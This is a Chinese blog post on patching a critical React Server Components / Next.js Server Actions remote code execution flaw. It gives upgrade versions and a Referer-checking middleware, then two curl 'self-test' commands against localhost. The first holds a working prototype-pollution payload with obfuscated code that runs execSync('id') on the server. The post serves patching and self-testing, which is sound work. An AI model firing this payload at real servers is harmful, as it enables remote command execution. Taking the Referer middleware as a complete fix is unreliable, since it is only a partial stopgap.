React、Next安全漏洞问题修复和自测

官方漏洞

React 服务器组件中的关键安全漏洞

解决方案

通过升级版本和项目本身进行修复

根据官方要求升级库版本

下面列举nextjs的部分,更多参考官方文档

bash 复制代码
npm install next@14.2.35 // for 13.3.x, 13.4.x, 13.5.x, 14.x  
npm install next@15.0.7 // for 15.0.x  
npm install next@15.1.11 // for 15.1.x  
npm install next@15.2.8 // for 15.2.x  
npm install next@15.3.8 // for 15.3.x  
npm install next@15.4.10 // for 15.4.x  
npm install next@15.5.9 // for 15.5.x  
npm install next@16.0.10 // for 16.0.x

项目本身进行拦截

修改 next项目的 middleware.ts 文件进行拦截

ts 复制代码
import { NextRequest, NextResponse } from 'next/server';

// 验证 Referer 是否为合法来源(轻量级实现,避免创建 URL 对象)
function isValidReferer(referer: string, origin: string): boolean {
  // 直接使用字符串比较,避免创建 URL 对象带来的内存开销
  return referer.startsWith(origin) || referer.startsWith(`${origin}/`);
}


export default function middleware(request: NextRequest) {
    const { pathname } = request.nextUrl;
    
    // 先快速过滤静态资源和API请求,避免不必要的安全检查开销
    if (pathname.startsWith('/_next') || pathname.startsWith('/favicon.ico')) {
        return NextResponse.next();
    }

    // 安全检查: 防止 Next.js Server Actions RCE 漏洞
    // 只对带有 Next-Action 头的请求进行检查,避免影响正常页面请求性能
    const nextActionHeader = request.headers.get('Next-Action');
    if (nextActionHeader) {
        const contentType = request.headers.get('Content-Type');

        // 检查是否为异常的 multipart/form-data 请求(主要攻击向量)
        if (contentType?.includes('multipart/form-data')) {
            const referer = request.headers.get('Referer');

        // 验证 Referer 来源,防止跨站攻击(移除日志避免内存问题)
        if (!referer || !isValidReferer(referer, request.nextUrl.origin)) {
            return new NextResponse('Forbidden', { status: 403 });
          }
        }
    }
    
    // 后面继续执行业务逻辑
    ...
}

自测命令

注意:将其中的 localhost:3000 替换为自己本地地址

方法一:

bash 复制代码
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: localhost:3000' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: zh-TW,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6' -H $'X-Forwarded-For: 127.0.0.1' -H $'X-Originating-Ip: 127.0.0.1' -H $'X-Remote-Ip: 127.0.0.1' -H $'X-Remote-Addr: 127.0.0.1' -H $'Next-Action: x' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFnJiYNZt' -H $'Content-Length: 1158' \
    --data-binary $'------WebKitFormBoundaryFnJiYNZt\x0d\x0aContent-Disposition: form-data; name=\"0\"\x0d\x0a\x0d\x0a{\x09\"a\":\"c\",\x0d\x0a  \"then\":\"$1:__proto__:then\",\x0d\x0a  \"status\":\"resolved_model\",\x0d\x0a  \"reason\":-1,\x0d\x0a  \"value\":\"{\\\"then\\\":\\\"$B\\\"}\",\x0d\x0a  \"_response\":{\x0d\x0a    \"_prefix\":\"var _0x2adb=[\'\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\',\'\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\',\'\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\'];var _0x54ea=function(_0x2adb82,_0x54ea8e){_0x2adb82=_0x2adb82-0x0;var _0x1ed852=_0x2adb[_0x2adb82];return _0x1ed852;};var res=process[_0x54ea(\'0x1\')][\'require\'](_0x54ea(\'0x0\'))[\'execSync\'](\'id\')[_0x54ea(\'0x2\')]()[\'trim\']();var _0x3236=[\'assign\'];var _0x58c8=function(_0x3236f2,_0x58c8b7){_0x3236f2=_0x3236f2-0x0;var _0x22ddc4=_0x3236[_0x3236f2];return _0x22ddc4;};throw Object[_0x58c8(\'0x0\')](new Error(\'a\'),{\'digest\':\'\'+res});\",\x0d\x0a    \"_chunks\":\"$Q2\",\x0d\x0a    \"_formData\":{\"get\":\"$1:constructor:constructor\"}\x0d\x0a  }\x0d\x0a}\x0d\x0a\x0d\x0a------WebKitFormBoundaryFnJiYNZt\x0d\x0aContent-Disposition: form-data; name=\"1\"\x0d\x0a\x0d\x0a\"$@0\"\x0d\x0a------WebKitFormBoundaryFnJiYNZt\x0d\x0aContent-Disposition: form-data; name=\"2\"\x0d\x0a\x0d\x0a[]\x0d\x0a------WebKitFormBoundaryFnJiYNZt--' \
    $'http://localhost:3000/'

方法二:

bash 复制代码
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: localhost:3000' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: zh-TW,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6' -H $'X-Forwarded-For: 127.0.0.1' -H $'X-Originating-Ip: 127.0.0.1' -H $'X-Remote-Ip: 127.0.0.1' -H $'X-Remote-Addr: 127.0.0.1' -H $'Connection: close' -H $'Next-Action: x' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY4e746pA' -H $'Content-Length: 118' \
    --data-binary $'------WebKitFormBoundaryY4e746pA\x0d\x0aContent-Disposition: form-data; name=\"2\"\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryY4e746pA--\x0d\x0a\x0d\x0a' \
    $'http://localhost:3000/'
相关推荐
huali2 小时前
社区划分:让AI理解你的代码重构意图
前端·javascript·vue.js
掘金安东尼2 小时前
⏰前端周刊第446期(2025年12月22日–12月27日)
前端
汽车仪器仪表相关领域2 小时前
ZDT-I 伺服电机测试系统
数据库·功能测试·安全·机器人·压力测试·可用性测试
漏洞文库-Web安全2 小时前
强网杯 2024 web pyblockly 单题wp
安全·web安全·网络安全·ctf
不老刘2 小时前
前端面试八股文:单线程的JavaScript是如何实现异步的
前端·javascript·面试
J总裁的小芒果2 小时前
后端返回参数不一致 前端手动处理key
前端·vue.js·elementui
闲云一鹤2 小时前
【工具篇】使用 nvm 进行 node 版本管理
前端·npm·node.js
指尖跳动的光2 小时前
web网页如何禁止别人移除水印
前端·javascript·css